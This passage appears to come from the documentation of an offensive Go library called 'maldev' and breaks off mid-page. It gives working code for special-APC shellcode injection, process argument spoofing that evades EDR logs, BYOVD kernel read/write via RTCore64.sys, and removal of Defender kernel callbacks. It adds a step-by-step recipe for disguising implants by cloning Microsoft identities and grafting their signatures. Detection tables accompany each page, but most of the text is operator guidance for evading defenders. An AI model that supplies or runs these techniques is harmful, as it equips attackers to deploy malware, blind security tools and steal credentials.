stops at the first successful queue. Falls back to standard
QueueUserAPC and then CreateRemoteThread when WithFallback() is
set.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Tgt as "Target"
Impl->>Kern: OpenProcess(VM_OPERATION | VM_WRITE | VM_READ)
Kern-->>Impl: hProcess
Impl->>Kern: NtAllocateVirtualMemory(target, RW)
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Impl->>Kern: NtProtectVirtualMemory(target, RX)
Impl->>Kern: enumerate threads of target
loop until first success
Impl->>Kern: NtOpenThread(tid, THREAD_SET_CONTEXT)
Impl->>Kern: NtQueueApcThreadEx(hThread, FLAG=1, remoteAddr)
end
Note over Tgt: next KiUserApcDispatcher return<br>fires the special APC
Tgt->>Tgt: shellcode runs
Steps:
- Open the target with
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ. - Allocate / write / protect in the target.
- Enumerate threads via
CreateToolhelp32Snapshot(orNtQuerySystemInformationif the caller demands it). - For each thread: open with
THREAD_SET_CONTEXT, callNtQueueApcThreadEx(hThread, 1, addr, 0, 0, 0). - First success terminates the loop. The APC fires on the next kernel→user transition.
Standard APC vs special APC
| Aspect | QueueUserAPC (standard) | NtQueueApcThreadEx (special) |
|---|---|---|
| Alertable wait required | yes | no |
| Minimum Windows version | XP+ | 10 1903 (build 18362) |
| API documentation | documented (kernel32) | undocumented (ntdll) |
| Suspended process required | typically (Early Bird) | no |
| Delivery timing | when thread enters alertable wait | next kernel→user transition |
| EDR monitoring | well-known | less observed but ETW-Ti emits |
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
inj, err := inject.Build().
Method(inject.MethodNtQueueApcThreadEx).
TargetPID(targetPID).
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Composed (indirect syscalls + fallback)
inj, err := inject.Build().
Method(inject.MethodNtQueueApcThreadEx).
TargetPID(targetPID).
IndirectSyscalls().
WithFallback().
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Advanced (evade + locate target + special APC)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/process/enum"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
procs, err := enum.FindByName("notepad.exe")
if err != nil || len(procs) == 0 {
return errors.New("target not found")
}
inj, err := inject.Build().
Method(inject.MethodNtQueueApcThreadEx).
TargetPID(int(procs[0].PID)).
IndirectSyscalls().
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Complex (decrypt + special APC + wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
inj, err := inject.Build().
Method(inject.MethodNtQueueApcThreadEx).
TargetPID(targetPID).
IndirectSyscalls().
WithFallback().
Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Cross-process NtAllocateVirtualMemory + NtWriteVirtualMemory | EDR userland hooks + ETW-Ti |
NtQueueApcThreadEx with the special-APC flag | ETW-Ti (Microsoft-Windows-Threat-Intelligence) emits an ApcQueue event with the flag — newer EDR rules key on it specifically |
Multiple consecutive NtOpenThread(THREAD_SET_CONTEXT) | Behavioural EDR rule — opening every thread until one succeeds is unusual |
| APC start address outside any image | EDR memory scanners flag the orphan APC target |
D3FEND counters:
- D3-PSA — APC chain plus orphan start address is a strong signal.
- D3-PCSV — APC start should match an image.
Hardening for the operator: combine with SectionMapInject
or PhantomDLLInject to make the APC start address
image-backed; pair with evasion/unhook
so the cross-process Nt calls dodge userland hooks.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.004 | Process Injection: Asynchronous Procedure Call | special-APC variant — no alertable wait | D3-PSA |
Limitations
- Win10 1903+ only. Older Windows builds lack the special-APC
flag. The
WithFallback()chain falls through to standardQueueUserAPCthenCreateRemoteThread. THREAD_SET_CONTEXTmay be denied. Some hardened threads (services with restricted ACLs, PPL processes) refuse the open. The loop keeps trying; if every thread refuses, the inject fails.- Cross-process write still happens. The technique avoids the thread-creation event, not the VM-write event.
- Undocumented flag. Microsoft has not promised stability for the special-APC flag. Verify after major build upgrades.
- No PPL targets. Cross-process VM operations on PPL are denied.
See also
- Early Bird APC — child-process variant of the same APC trick.
- CreateRemoteThread — louder cousin used as fallback.
- Section Mapping / Phantom DLL — pair to make the APC start address image-backed.
- Repnz, Special User APCs in Windows 10 — primer on the special-APC primitive.
Process argument spoofing
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first.
TL;DR
Spawn a child in CREATE_SUSPENDED with fake command-line arguments
(what EDR/Sysmon records at process creation), then rewrite the PEB's
RTL_USER_PROCESS_PARAMETERS.CommandLine UNICODE_STRING to the real
arguments before resuming. The process executes with the real args; the
audit trail shows the cover args. Not a shellcode injection on its own
— a creation-time disguise that pairs with the suspended-child injection
techniques.
| Trait | Value |
|---|---|
| Target class | Child (suspended) — disguise only, not execution |
| Creates a new thread? | n/a — disguise wrapper |
Uses WriteProcessMemory? | Yes (~30 bytes — UNICODE_STRING header + new args) |
| Stealth tier | Medium — fools Sysmon/EDR process-creation logs; ETW Microsoft-Windows-Kernel-Process carries the original creation args separately |
| Composes with | Early Bird APC, Thread Hijack — the actual injection techniques on the same suspended child |
When to pick a different method:
- Want PPID disguise instead of arg disguise? → PPID Spoofing — sister technique, different field.
- Don't need a child process at all? → Self / Local / Remote methods (see injection index).
- Want BOTH disguises stacked? → Apply this + PPID Spoofing on the same
CREATE_SUSPENDEDcall before any injection.
Primer
Process-creation telemetry on Windows captures the command-line at the
moment NtCreateUserProcess runs. Sysmon Event 1 fires; EDRs snapshot
the args; the kernel callback PsSetCreateProcessNotifyRoutineEx
delivers them. Any monitoring tooling that keys on command-line content
sees what the kernel saw at that instant.
Argument spoofing exploits the gap between creation and execution.
The implant calls CreateProcessW with CREATE_SUSPENDED and a benign
command line (cmd.exe /c dir). The kernel records the benign args. The
implant then locates the suspended child's PEB, walks to
ProcessParameters → CommandLine (a UNICODE_STRING), and rewrites
its Buffer and Length with the real args before ResumeThread. The
process now executes with the real command line; the kernel's audit
record still says dir.
This is a disguise, not an injection. It is typically paired with
MethodEarlyBirdAPC, MethodThreadHijack,
or other suspended-child techniques to make the visible command line of
the sacrificial child blend in.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant EDR as "EDR / Sysmon"
participant Child as "Child (suspended)"
Impl->>Kern: CreateProcess("cmd.exe /c dir", SUSPENDED)
Kern->>EDR: Event 1: "cmd.exe /c dir"
Kern-->>Impl: hProcess, hThread
Kern->>Child: frozen, PEB has fake args
Impl->>Kern: NtQueryInformationProcess(ProcessBasicInformation)
Kern-->>Impl: PEB address
Impl->>Child: ReadProcessMemory(PEB.ProcessParameters)
Impl->>Child: ReadProcessMemory(.CommandLine UNICODE_STRING)
Impl->>Child: WriteProcessMemory(CommandLine.Buffer = real args)
Impl->>Child: WriteProcessMemory(CommandLine.Length = newLen)
Impl->>Kern: ResumeThread(hThread)
Child->>Child: runs with real args
Note over Child,EDR: EDR audit still says "cmd.exe /c dir"
Steps:
CreateProcessW(SUSPENDED, "cmd.exe /c dir")— kernel records the fake args.NtQueryInformationProcess(ProcessBasicInformation)— get the child's PEB.ReadProcessMemoryatPEB+0x20(x64) for theRTL_USER_PROCESS_PARAMETERSpointer.ReadProcessMemoryatProcessParameters+0x70for theCommandLineUNICODE_STRING.- Encode the real command line as UTF-16LE;
WriteProcessMemoryintoCommandLine.Buffer; updateCommandLine.Length. - Caller resumes the thread when ready (or hands the suspended child off to a paired injection technique).
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
pi, err := inject.SpawnWithSpoofedArgs(
`C:\Windows\System32\cmd.exe`,
`cmd.exe /c dir C:\ `,
`cmd.exe /c whoami /priv`,
)
if err != nil { return err }
defer windows.CloseHandle(pi.Process)
defer windows.CloseHandle(pi.Thread)
// caller resumes when ready
_, _ = windows.ResumeThread(pi.Thread)
Composed (spoofed args + Early Bird APC into the same child)
The spoofed-arg child is the perfect host for Early Bird APC: the
audit trail says cmd.exe /c dir, but the child runs the implant's
shellcode before its own entry point.
pi, err := inject.SpawnWithSpoofedArgs(
`C:\Windows\System32\cmd.exe`,
`cmd.exe /c dir C:\ `,
`cmd.exe /c echo benign`,
)
if err != nil { return err }
// Hand the suspended child to the Early Bird path. The package's
// EarlyBirdAPC injector takes a fresh ProcessPath; for an existing
// suspended child, drive the primitives directly:
// - NtAllocateVirtualMemory(pi.Process, RW)
// - NtWriteVirtualMemory(shellcode)
// - NtProtectVirtualMemory(RX)
// - NtQueueApcThread(pi.Thread, addr)
// - ResumeThread(pi.Thread)
Advanced (PPID spoof + arg spoof)
Combine with process/spoofparent to
also lie about the parent process — the audit trail then shows a
plausible parent + plausible args.
import (
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/process/spoofparent"
)
token, err := spoofparent.AcquireParentToken("services.exe")
if err != nil { return err }
defer token.Close()
return spoofparent.RunAs(token, func() error {
pi, err := inject.SpawnWithSpoofedArgs(
`C:\Windows\System32\cmd.exe`,
`cmd.exe /c dir C:\ `,
`cmd.exe /c whoami /all`,
)
if err != nil { return err }
_, _ = windows.ResumeThread(pi.Thread)
return nil
})
Complex (full chain: arg spoof + thread hijack + indirect syscalls)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll(preset.Stealth(), caller)
pi, err := inject.SpawnWithSpoofedArgs(
`C:\Windows\System32\cmd.exe`,
`cmd.exe /c dir C:\ `,
`cmd.exe /c echo benign`,
)
if err != nil { return err }
// Now thread-hijack the spawned child instead of resuming it normally.
// The high-level inject.MethodThreadHijack assumes its own spawn; for
// an existing suspended child, replicate the read CONTEXT → mutate Rip
// → set CONTEXT → resume sequence — see thread-hijack.md.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Padded command line at creation time | EDR rules sometimes flag long whitespace runs in cmd.exe args |
Cross-process WriteProcessMemory into a freshly-spawned child | EDR userland hooks + ETW-Ti WriteVirtualMemory |
RTL_USER_PROCESS_PARAMETERS.CommandLine mutation between CreateProcess and ResumeThread | High-end EDRs (CrowdStrike, MDE, SentinelOne) compare the live PEB at multiple checkpoints — strong signal when fake ≠ real |
Live GetCommandLineW() ≠ EDR-recorded command line | Endpoint scrapers that re-read the PEB after creation catch the lie |
D3FEND counters:
- D3-PSA — multi-checkpoint command-line comparison.
- D3-EAL — WDAC validates execution but does not prevent the spoof itself.
Hardening for the operator: keep fakeArgs plausible (no obvious
padding patterns); pair with PPID spoofing so the child has both a
plausible parent and plausible args; route the cross-process Nt calls
through indirect syscalls; mind that the high-end EDRs that re-snapshot
the PEB beat this technique.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1564.010 | Hide Artifacts: Process Argument Spoofing | PEB rewrite between creation and resume | D3-PSA |
| T1036.005 | Masquerading: Match Legitimate Name or Location | combine with a legitimate exePath for full audit-trail disguise | D3-PSA |
Limitations
MaximumLengthcap. The spoofed buffer cannot grow beyond whatCreateProcessWallocated. PadfakeArgsto leave room.- Live PEB scrapers defeat it. EDRs that re-read
PEB.ProcessParameters.CommandLineafter process creation see the real args. The technique only fools consumers that snapshot at creation time (Sysmon Event 1, basic EDR, kernel callback). - Not an injection.
SpawnWithSpoofedArgsonly rewrites the PEB. Pair with another technique to actually run shellcode in the child. - Cross-process write fires.
WriteProcessMemoryruns twice (CommandLine buffer + length). EDR-Ti will see it. - Whitespace padding is fingerprintable. Some EDR rules look for unusually long padding inside command-line strings.
See also
- Early Bird APC — pair to actually run shellcode in the spoofed-args child.
- Thread Hijack — alternate trigger for the suspended child.
process/spoofparent— pair to spoof the parent as well.- Adam Chester / xpn, Process arg spoofing, 2018 — original public write-up.
Kernel-mode primitives (kernel/*)
The kernel/* package tree exposes userland-callable kernel
read/write primitives by abusing signed-but-vulnerable third-party
drivers (BYOVD). Userland obtains kernel R/W without loading an
unsigned driver — defeats HVCI on hosts older than the 2021-09
vulnerable-driver block-list update.
flowchart LR
Caller -->|Driver.Install| Lifecycle["NtLoadDriver +<br>SCM CreateService/Start"]
Lifecycle --> SignedSys["RTCore64.sys (signed)"]
SignedSys --> IOCTL["IOCTL 0x80002048 / 0x8000204C"]
IOCTL --> Kernel["arbitrary kernel R/W"]
Kernel -->|consumed by| KCB["evasion/kcallback"]
Kernel -->|consumed by| LSASS["credentials/lsassdump"]
Where to start (novice path):
The
kernel/*packages are foundations consumed by higher-layer techniques (LSASS PPL bypass, kernel-callback removal). Most operators land here from one of those.
- Read
byovd-rtcore64once to understand the BYOVD pattern (load RTCore64.sys, IOCTL for kernel R/W, HVCI block-list cutoff).- Then go back to your higher-layer use case:
- LSASS PPL bypass →
credentials/lsassdump.Unprotect- Kernel-callback removal →
evasion/kernel-callback-removal- The decision tree below maps every common need to the higher-layer entry point.
Decision tree
| Operator question | Package / page |
|---|---|
| "I need to wipe a kernel-callback array." | evasion/kcallback feeds on this primitive |
| "I need to dump LSASS bypassing PPL." | credentials/lsassdump |
| "I need a signed BYOVD driver to install." | kernel/driver/rtcore64 |
Per-package pages
- byovd-rtcore64.md — RTCore64.sys (CVE-2019-16098). Microsoft-attested signed; refused on HVCI hosts ≥ 2021-09 vulnerable-driver block-list.
Common contract
Every concrete BYOVD driver implements three interfaces from the umbrella package:
kernel/driver.Reader—ReadKernel(addr, buf) (int, error).kernel/driver.ReadWriter— addsWriteKernel(addr, data).kernel/driver.Lifecycle—Install / Uninstall / Loaded. Idempotent install; best-effort uninstall.
Sentinel errors: ErrNotImplemented, ErrNotLoaded,
ErrPrivilegeRequired (caller lacks SeLoadDriverPrivilege).
MITRE ATT&CK rollup
| ID | Technique | Owners |
|---|---|---|
| T1014 | Rootkit | kernel/driver, kernel/driver/rtcore64 |
| T1543.003 | Create or Modify System Process: Windows Service | service install path |
| T1068 | Exploitation for Privilege Escalation | IOCTL R/W primitive |
See also
docs/techniques/evasion/kernel-callback-removal.mddocs/techniques/credentials/lsassdump.mddocs/architecture.md— layering rules
BYOVD — RTCore64 (CVE-2019-16098)
← kernel techniques · docs/index
MITRE ATT&CK: T1014 — Rootkit +
T1543.003 — Create or Modify System Process: Windows Service +
T1068 — Exploitation for Privilege Escalation
Package: kernel/driver/rtcore64
Platform: Windows amd64
Detection: very-noisy during driver load; moderate steady-state
TL;DR
You need arbitrary kernel read/write from user mode (typically
to bypass LSASS PPL or zero a kernel callback). This package
loads MSI Afterburner's signed RTCore64.sys driver, exploits
its CVE-2019-16098 read/write IOCTL, and exposes
kernel/driver.ReadWriter
to the consumer.
| You want to… | Use | Constraint |
|---|---|---|
| Get a kernel R/W primitive | Install | Admin + SeLoadDriverPrivilege + driver bytes shipped |
| Read kernel memory | ReadKernel | After Install succeeded |
| Write kernel memory | WriteKernel | Same |
| Clean up after the op | Uninstall | Best-effort — deletes service + unregisters driver |
⚠ HVCI block-list cutoff: as of 2021-09 Microsoft ships
a driver block-list that includes RTCore64. On HVCI-on hosts
newer than the block-list update, the driver load is
refused. Verify via Loaded / catch
ErrPrivilegeRequired / probe with a non-destructive read
before relying on this primitive.
⚠ Driver bytes not bundled — ship RTCore64.sys via
//go:embed behind the byovd_rtcore64 build tag, OR via
Config.Bytes. Default builds return ErrDriverBytesMissing
to keep the maldev repo free of the signed driver itself.
What this DOES achieve:
- Pre-block-list HVCI hosts: full kernel R/W from user mode with one signed driver load.
- LSASS PPL bypass via
credentials/lsassdump's PPL-flip path (consumes this driver). - Kernel-callback removal via
evasion/kernel-callback-removal(consumes this driver).
What this does NOT achieve:
- Stealth driver load —
NtLoadDriver+ SCM CreateService fire kernel callbacks, ETW Microsoft-Windows-Kernel-Process, and Defender's "Microsoft-attested driver" detection. Driver install IS the loud event; once loaded, IOCTLs are quieter. - PatchGuard immunity — RTCore64's slow-IOCTL pattern generally stays below PG's scan thresholds, but kernel writes to certain critical structures (KPP-protected pages) trigger BSOD on next scan. Tested-safe targets documented in the consumer pages.
- Doesn't survive reboot — service registration cleaned
by
Uninstall. For persistence of kernel R/W, you need a different primitive.
Primer
EDR vendors register kernel-mode callbacks (PsSetCreateProcessNotifyRoutineEx,
PsSetCreateThreadNotifyRoutine, PsSetLoadImageNotifyRoutine, …) that
receive every process/thread/image-load event. To remove them — or to
read kernel structures like EPROCESS.Protection (LSASS PPL) or
PspCreateProcessNotifyRoutine[] — userland needs an arbitrary kernel
read/write primitive.
BYOVD (Bring Your Own Vulnerable Driver) sidesteps the
"unsigned drivers don't load on HVCI" wall by abusing a Microsoft-
attested signed driver that itself exposes an unauthenticated
arbitrary-r/w IOCTL. RTCore64.sys (MSI Afterburner < 4.6.2.15658) is
the canonical target: signed, widely deployed, and its
CVE-2019-16098 IOCTLs 0x80002048 (read) and 0x8000204C (write)
take a virtual address + length + buffer with no auth.
The 2021-09-02 Microsoft vulnerable-driver block-list update flagged
RTCore64 — patched HVCI Win10/11 builds refuse to load it. On
unpatched / non-HVCI hosts it still loads and grants kernel read/write
to any caller with SeLoadDriverPrivilege.
Package surface
kernel/driver/rtcore64 exposes a Driver type that implements both
kernel/driver.ReadWriter and kernel/driver.Lifecycle:
var d rtcore64.Driver
if err := d.Install(); err != nil { // SCM register + start + open device
return err
}
defer d.Uninstall() // stop + delete + remove dropped binary
buf := make([]byte, 8)
if _, err := d.ReadKernel(0xFFFFF80012345678, buf); err != nil {
return err // IoctlRead at the given VA
}
The Driver shape-satisfies evasion/kcallback.KernelReadWriter, so
it plugs straight into kcallback.Enumerate / kcallback.Remove
without wrappers.
Lifecycle steps
loadDriverBytes()returns the embedded RTCore64.sys bytes (see Driver binary below).dropDriverwrites the bytes to%WINDIR%\Temp\RTCore64.sys.installAndStartServiceregisters the driver under SCM as aSERVICE_KERNEL_DRIVERnamedRTCore64, then callsStartService.ERROR_ACCESS_DENIEDis mapped todriver.ErrPrivilegeRequired.openDeviceopens\\.\RTCore64withGENERIC_READ | GENERIC_WRITE.ReadKernel/WriteKernelissueDeviceIoControlagainst that handle. Transfers cap atMaxPrimitiveBytes = 4096per IOCTL — larger reads/writes loop in the caller, since RTCore64's pool transfers are unstable above one page.Uninstallcloses the handle, stops + deletes the service, and removes the dropped file. Best-effort: every step runs even if earlier ones failed.
Driver binary
The package ships without the signed RTCore64.sys binary by
default — building with the default tag set yields
ErrDriverBytesMissing from Install(). To enable real BYOVD
operations:
-
Obtain RTCore64.sys (any version ≤ 4.6.2.15658). Verify the signature chain via
signtool verify /v /a— the leaf cert must chain toMicrosoft Windows Hardware Compatibility Publisher. -
Drop a sibling file
kernel/driver/rtcore64/embed_byovd_rtcore64_windows.gothat overridesloadDriverBytes()://go:build windows && byovd_rtcore64 package rtcore64 import _ "embed" //go:embed RTCore64.sys var rtcoreBytes []byte func loadDriverBytes() ([]byte, error) { return rtcoreBytes, nil } -
Build with
go build -tags=byovd_rtcore64. The resulting binary embeds the signed driver; default builds don't.
This split keeps the open-source repo free of MSI's licensed binary while still shipping every other piece of the BYOVD chain — the service-install plumbing, IOCTL wrappers, and lifecycle management all live in source-tree code.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/kernel/driver is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Advanced — looping reads beyond the per-IOCTL cap
A single IOCTL caps at MaxPrimitiveBytes (4096 bytes). Larger reads
loop in the caller — the driver's pool-buffer transfer is unstable
above one page:
package main
import (
"fmt"
"github.com/oioio-space/maldev/kernel/driver"
"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)
// readKernel issues IOCTLs in <=MaxPrimitiveBytes chunks and concatenates
// the results. Bails on the first error so the caller can decide whether
// to retry from the partial offset.
func readKernel(rw driver.Reader, addr uintptr, size int) ([]byte, error) {
out := make([]byte, 0, size)
for off := 0; off < size; {
chunk := size - off
if chunk > rtcore64.MaxPrimitiveBytes {
chunk = rtcore64.MaxPrimitiveBytes
}
buf := make([]byte, chunk)
n, err := rw.ReadKernel(addr+uintptr(off), buf)
if err != nil {
return out, fmt.Errorf("read @0x%X (off=%d): %w", addr+uintptr(off), off, err)
}
out = append(out, buf[:n]...)
off += n
}
return out, nil
}
func main() {
var d rtcore64.Driver
if err := d.Install(); err != nil { panic(err) }
defer d.Uninstall()
// Read 32 KiB starting at some kernel VA — 8 IOCTLs under the hood.
bytes, err := readKernel(&d, 0xFFFFF80012345000, 32*1024)
fmt.Printf("read=%d err=%v\n", len(bytes), err)
}
Composed — RTCore64 + kcallback enumeration + selective Remove
The whole point of kernel/driver/rtcore64 is to back a driver.ReadWriter
that downstream packages consume. evasion/kcallback is the canonical
consumer — given the driver, enumerate every PspCreate/Thread/LoadImage
notify routine and selectively neutralize an EDR's callbacks:
package main
import (
"fmt"
"log"
"github.com/oioio-space/maldev/evasion/kcallback"
"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)
func main() {
// 1. Bring up the driver.
var d rtcore64.Driver
if err := d.Install(); err != nil { log.Fatal(err) }
defer d.Uninstall()
// 2. Operator-supplied OffsetTable for the current ntoskrnl build
// (derived offline from a PDB dump — see kernel-callback-removal.md).
tab := kcallback.OffsetTable{
Build: 19045,
CreateProcessRoutineRVA: 0xC1AAA0,
CreateThreadRoutineRVA: 0xC1AC20,
LoadImageRoutineRVA: 0xC1AB40,
ArrayLen: 64,
}
// 3. Enumerate.
cbs, err := kcallback.Enumerate(&d, tab)
if err != nil { log.Fatal(err) }
// 4. Selectively NULL-out every EDR-driver-owned slot. Restore on exit
// so the host doesn't notice tampering after a benign payload.
var tokens []kcallback.RemoveToken
for _, cb := range cbs {
fmt.Printf("[%s][%d] %s @ 0x%X enabled=%v\n",
cb.Kind, cb.Index, cb.Module, cb.Address, cb.Enabled)
if cb.Module == "WdFilter.sys" || cb.Module == "MsSecCore.sys" {
tok, err := kcallback.Remove(cb, &d)
if err != nil { log.Printf("remove %s[%d]: %v", cb.Kind, cb.Index, err); continue }
tokens = append(tokens, tok)
}
}
defer func() {
for _, tok := range tokens {
_ = kcallback.Restore(tok, &d)
}
}()
// ... payload runs here without EDR callbacks firing ...
}
The same &d plugs into credentials/lsassdump.Unprotect for a PPL
LSASS dump — see LSASS Credential Dump
for that composition.
Detection
| Phase | Signal |
|---|---|
| Drop | New file write to %WINDIR%\Temp\RTCore64.sys |
| SCM install | CreateService with SERVICE_KERNEL_DRIVER + name RTCore64 |
| Driver load | NtLoadDriver event, Microsoft-Windows-Kernel-General ETW |
| IOCTL | DeviceIoControl against \\.\RTCore64 with codes 0x80002048 / 0x8000204C (every public PoC uses these exact codes) |
Detection drops to Medium once steady-state because the driver is signed, but the device name is in every EDR's known-IOC list. Renaming the dropped file does not help — the IOCTL device path is hard-coded inside RTCore64.sys.
References
See also
- Kernel BYOVD area README
evasion/kcallback— major consumer of the kernel R/W primitivecredentials/lsassdump— uses the kernel R/W to flip lsass.exe out of PPL
PE manipulation
Pure-Go Portable Executable analysis, sanitisation, identity
cloning, signature grafting, and conversion-to-shellcode. The
package tree is intentionally bottom-up: pe/parse and
pe/imports are read-only walkers, pe/strip, pe/morph,
pe/cert, pe/masquerade are byte-mutators on a []byte, and
pe/srdi is the producer of position-independent shellcode that
downstream inject/ chains consume. Runtime-side BOF and CLR
loaders moved to runtime/bof and
runtime/clr respectively.
flowchart LR
subgraph offline [Offline / build-host]
SRC[Source PE<br>signed donor]
PARSE[parse + imports<br>read-only walkers]
STRIP[strip<br>Go-toolchain scrub]
MORPH[morph<br>UPX header rename]
CERT[cert<br>Authenticode graft]
MASQ[masquerade<br>manifest + icon<br>+ VERSIONINFO clone]
SRDI[srdi<br>Donut PE → shellcode]
end
subgraph runtime [Runtime / target host]
INJECT[inject/*<br>execute shellcode]
BOF[runtime/bof<br>COFF loader]
CLR[runtime/clr<br>.NET hosting]
end
SRC --> PARSE
SRC --> STRIP
SRC --> MORPH
SRC --> CERT
SRC --> MASQ
SRC --> SRDI
SRDI --> INJECT
PARSE -. drives unhook scoping .-> RUNT[runtime evasion]
Where to start (novice path):
masquerade— make your implant LOOK like a known Microsoft binary. Easiest visible win.certificate-theft— graft a real Authenticode signature from the same donor. Pair with #1.strip-sanitize— scrub the "Made in Go" markers (pclntab + section names) so static analysers don't flag the language.pe-to-shellcode— convert your EXE to position-independent shellcode for anyinject/*flow.dll-proxy,morph— specialised; pick when DLL hijack / UPX cover is the engagement context.imports,pe/parse— read-only walkers; pair with therecon/discovery side.See also
catalog-signing— research note explaining why some Microsoft binaries can't be cloned viacert.Copy(catalog signing instead of embedded WIN_CERTIFICATE).
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
pe/parse | (covered here + doc.go) | very-quiet | Read-only saferwall wrapper: section / export / raw-byte access + Authentihash + ImpHash + Anomalies + RichHeader + Overlay |
pe/imports | imports.md | very-quiet | Cross-platform import-table enumeration |
pe/strip | strip-sanitize.md | quiet | Go pclntab wipe + section rename + timestamp scrub |
pe/morph | morph.md | moderate | UPX header signature mutation |
pe/cert | certificate-theft.md | quiet | Authenticode security-directory read / copy / strip / write |
pe/masquerade | masquerade.md | quiet | manifest + icon + VERSIONINFO clone via .syso (preset or programmatic) |
pe/srdi | pe-to-shellcode.md | moderate | PE / .NET / script → Donut shellcode |
pe/dllproxy | dll-proxy.md | very-quiet | Pure-Go forwarder DLL emitter for DLL-hijack payloads |
pe/packer | packer.md | very-quiet (Phase 1a) | Custom packer — encrypt + embed pipeline (Phase 1a; reflective loader stub lands in Phase 1b) |
Quick decision tree
| You want to… | Use |
|---|---|
| …read every DLL!Function pair from a PE | imports.List |
| …wipe the "Made in Go" markers | strip.Sanitize |
| …hide a UPX-packed binary from auto-unpackers | morph.UPXMorph |
| …graft a Microsoft signature onto an unsigned binary | cert.Copy |
| …make Process Explorer render the implant as svchost | preset blank-import |
| …clone any PE's identity programmatically | masquerade.Clone / Build |
| …convert a PE / .NET / script to position-independent shellcode | srdi.ConvertFile |
| …feed shellcode to remote-process injection | pe/srdi → inject |
| …enumerate sections / exports for tooling | pe/parse |
| …emit a forwarder DLL for hijack payloads (no MSVC) | dllproxy.Generate |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1027.002 | Obfuscated Files or Information: Software Packing | pe/strip, pe/morph, pe/parse | D3-SEA, D3-FCA |
| T1027.005 | Indicator Removal from Tools | pe/strip | D3-SEA |
| T1036.005 | Masquerading: Match Legitimate Name or Location | pe/masquerade | D3-EAL, D3-SEA |
| T1055.001 | Process Injection: Dynamic-link Library Injection | pe/srdi (consumer) | D3-PA |
| T1106 | Native API | pe/imports | D3-SEA |
| T1574.001 | DLL Search Order Hijacking | pe/dllproxy | D3-PFV |
| T1574.002 | DLL Side-Loading | pe/dllproxy | D3-PFV |
| T1553.002 | Subvert Trust Controls: Code Signing | pe/cert | D3-EAL |
| T1620 | Reflective Code Loading | pe/srdi | D3-FCA, D3-PA |
Layered scrub recipe
The full identity scrub for a Go-built implant is a six-step build-host pipeline. None of the steps is enough alone; together they survive triage long enough to matter.
- Build with garble — symbol obfuscation at compile time.
pe/masquerade.Clone— clone svchost / cmd / explorer identity at link time via.syso.pe/strip.Sanitize— wipe pclntab + rename Go sections + scrub timestamp.- UPX pack +
pe/morph.UPXMorph— defeat signature-based unpackers. pe/cert.Copy— graft a Microsoft Authenticode blob.cleanup/timestomp.CopyFromFull— align MFT timestamps to the donor.
For payload delivery (separate from build):
pe/srdi.ConvertFile— convert the implant or downstream payload to Donut shellcode.inject/*— deliver the shellcode via any of the documented techniques.
See also
- Operator path: build-host pipeline — full scrub recipe.
- Detection eng path: PE-level artefacts.
runtime/bof— COFF (BOF) loader; consumes BOF objects produced upstream.runtime/clr— in-process .NET hosting; consumes managed payloads.inject— execution surface forpe/srdishellcode.crypto— payload encryption pre-conversion.hash— measure SHA-256 vs fuzzy-hash deltas after morph.- Catalog signing (research note) — why
cmd / notepad / System32 binaries return
ErrNoCertificatefromcert.Readand how WinTrust resolves their signatures.
PE Sanitization (Go-toolchain scrub)
TL;DR
Wipe the "Made in Go" markers from a Windows PE: pclntab magic
bytes (defeats redress / GoReSym / IDA go_parser), Go-specific
section names (.gopclntab, .go.buildinfo, …), and the
TimeDateStamp. Sanitize chains the three primitives with
sensible defaults; individual primitives stay exported so callers
can compose custom pipelines.
Primer
Go binaries are uniquely identifiable. They ship with a build
timestamp, a pclntab structure that tools like IDA's
go_parser, redress, and GoReSym use to reconstruct function
names, and section names like .gopclntab that immediately
identify the binary as Go to even the laziest YARA rule.
pe/strip removes or rewrites these indicators so static
analysis tooling cannot trivially identify the binary as Go nor
reconstruct its internal structure. Pair with garble (Go-symbol
obfuscation at compile time) for a layered scrub: garble handles
the symbols, strip handles the PE-level fingerprint that
remains after garble emits the binary.
How It Works
flowchart LR
INPUT[Go-built PE binary] --> TS[SetTimestamp<br>random epoch / project date]
